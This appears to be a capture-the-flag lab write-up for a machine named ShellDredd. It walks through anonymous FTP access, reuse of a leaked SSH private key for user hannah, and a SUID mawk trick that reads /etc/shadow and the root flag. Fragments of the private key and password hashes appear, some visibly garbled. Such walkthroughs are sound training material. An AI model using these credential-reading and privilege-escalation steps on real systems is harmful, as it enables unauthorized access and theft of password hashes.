

General

IP == 192.168.105.130

```
PORT    STATE SERVICE REASON    VERSION
21/tcp  open  ftp      syn-ack ttl 61 vsftpd 3.0.3
| ftp-syst:
|  STAT:
| FTP server status:
|   Connected to ::ffff:192.168.45.250
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 4
|   vsFTPD 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

61000/tcp open  ssh      syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|  2048 59:2d:21:0c:2f:af:9d:5a:7b:3e:a4:27:aa:37:89:08 (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQADiOZxbr74TmNuWOBDmPlnK6nZnRGfOMtZMJDBErXIPCZR9kdZDqJbk-
dRlnP8QLGuTl/
t8qPgP863Rl1yfJLSv995PQ+oUZTSa21cGuIVCtFFCKedJJJF9p2cAyYzjeA9qg1Ja7dOPtyPsSCplYzZcIlwXZ52mg1k8V-
H2HUZ7DO0wMBYWONhkXWRR49gMN+IKge3DXNrFyHtnjMVWTwEtfqjFd+D70qi7UusZyfP2MogDX7LgRWC9R-
mvS6o8KxYW4psLWDB2dp/
Nf3FitenY0UMPKkHrxxjeqfYZhFwENmHAsxzhHJo1acSrNMUbtDwuLzcLHQgMIYMUlmgvDkg31c/
|  256 59:26:da:44:3b:97:d2:30:b1:9b:9b:02:74:8b:87:58 (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNXPAPJkUYF4+uu955+0RpMZKriG9olCwt-
kPB3j5XBiiB+B7WEVv331ittcLxibSBWqV2OO328ThebB2YF9qvl=
|  256 8e:ad:10:4f:e3:3e:65:28:40:cb:5b:bf:1d:24:7f:17 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP5tk066endR9DMYxXzxxhixx6c8cQ0HjGvYbtL8Lgv91
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

PORT 21(FTP)

```
21/tcp  open  ftp      syn-ack ttl 61 vsftpd 3.0.3
| ftp-syst:
|  STAT:
| FTP server status:
|   Connected to ::ffff:192.168.45.250
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
```

- | Control connection is plain text
- | Data connections will be plain text
- | At session startup, client count was 4
- | vsFTPd 3.0.3 - secure, fast, stable

|_End of status

|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

Logged in and thru a hidden dir called ".hannah" I found a id_rsa file

```
-----BEGIN OPENSSH PRIVATE KEY-----
[REDACTED]
HvHD9hkCPlq7Sc/TAAAADXJvb3RAT2ZmU2hlbGwBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
```

Using this and suspecting that name "hannah" was a username I logged in to hannahs account using their ssh key

PORT 61000 (SSH)

HANNAH

Id_rsa ssh key

```
-----BEGIN OPENSSH PRIVATE KEY-----
[REDACTED]
```

```

GiOBdS9dndBE17vOatHaIIIIPGaCsGpVKXkkM7UbD7DMibs4A26oXidhiNs74npBa8aayX
Y
C
r
U
r
k
U
I
M
V
M
C
Y
F
I
t
a
L
S
z
2zlSx+
ks
N
LF
lbp
p
t
VC
EJGK
Salj/
S
3cd
K
K
m8
Yy9ZpuPiSXuNdUknlGY6kl+ZY46aes/P5pa34Zk1jWOXw68q86tOUus0A1Gbk1wkaWddye
HvHD9hkCPlq7Sc/TAAAADXJvb3RAT2ZmU2hlgWwBAgMEBQ==
-----END OPENSsh PRIVATE KEY-----

```

User information

```

hannah
uid=1000(hannah) gid=1000(hannah)
groups=1000(hannah),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

```

Hannahs home.

```

drwxr-xr-x 3 hannah hannah 4096 Jan 29 2021 .
drwxr-xr-x 3 root root 4096 Aug 6 2020 ..
lrwxrwxrwx 1 root root 9 Jan 21 2021 .bash_history -> /dev/null
-rw-r--r-- 1 hannah hannah 220 Aug 6 2020 .bash_logout
-rw-r--r-- 1 hannah hannah 3526 Aug 6 2020 .bashrc
-rw-r--r-- 1 hannah hannah 33 Feb 10 22:01 local.txt
-rw-r--r-- 1 hannah hannah 807 Aug 6 2020 .profile
drwxr-xr-x 2 root root 4096 Aug 6 2020 .ssh
-rw-r--r-- 1 hannah hannah 32 Jan 29 2021 user.txt
hannah@ShellDredd:~$ ls -la .ssh/
total 16
drwxr-xr-x 2 root root 4096 Aug 6 2020 .
drwxr-xr-x 3 hannah hannah 4096 Jan 29 2021 ..
-rw-r--r-- 1 root root 395 Aug 6 2020 authorized_keys
-rw----- 1 root root 1823 Aug 6 2020 id_rsa

```

Moving onto privesc

Nothing in tmp or opt

looking for suids

```
find / -perm -u=s -type f 2>/dev/null
```

```
/usr/lib/eject/dmccrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/cpulimit
/usr/bin/mount
/usr/bin/passwd
```

found a suid exploit for mawk in gtfobins

```
sudo install -m =xs $(which mawk) .
```

```
LFILE=file_to_read
```

```
./mawk '/' "$LFILE"
```

maybe read roots ssh key? no roots ssh key is not in /root/.ssh/id_rsa so instead I append the shadow file

```
LFILE=/etc/shadow
```

```
/usr/bin/mawk '/' "$LFILE"
```

```
root:$
qDM6NsiKckV8UZeZefDYw2CL2uAEwawlufKMv/e1Q6YDyTep0:18656:0:99999:7:::
daemon*:18480:0:99999:7:::
bin*:18480:0:99999:7:::
sys*:18480:0:99999:7:::
sync*:18480:0:99999:7:::
games*:18480:0:99999:7:::
man*:18480:0:99999:7:::
lp*:18480:0:99999:7:::
mail*:18480:0:99999:7:::
news*:18480:0:99999:7:::
uucp*:18480:0:99999:7:::
proxy*:18480:0:99999:7:::
www-data*:18480:0:99999:7:::
backup*:18480:0:99999:7:::
list*:18480:0:99999:7:::
irc*:18480:0:99999:7:::
gnats*:18480:0:99999:7:::
nobody*:18480:0:99999:7:::
_apt*:18480:0:99999:7:::
systemd-timesync*:18480:0:99999:7:::
systemd-network*:18480:0:99999:7:::
systemd-resolve*:18480:0:99999:7:::
messagebus*:18480:0:99999:7:::
avahi-autoipd*:18480:0:99999:7:::
sshd*:18480:0:99999:7:::
hannah:
```

\$6\$y8GL381zxgmD7cR\$AbEPccNum1cLATi9DlGPccXXulcyl2c1cwrts9d toWEITmYQHOPme1ohmQjJtNRfzfcZXy-
zMLk89lr/g5X.:1
systemd-coredump:!!:18480:.....
ftp*:18480:0:99999:7::

Using the same method I was able to open the proof.txt file in roots dir and get the root flag

```
LFILE=/root/proof.txt  
/usr/bin/mawk '/' "$LFILE"
```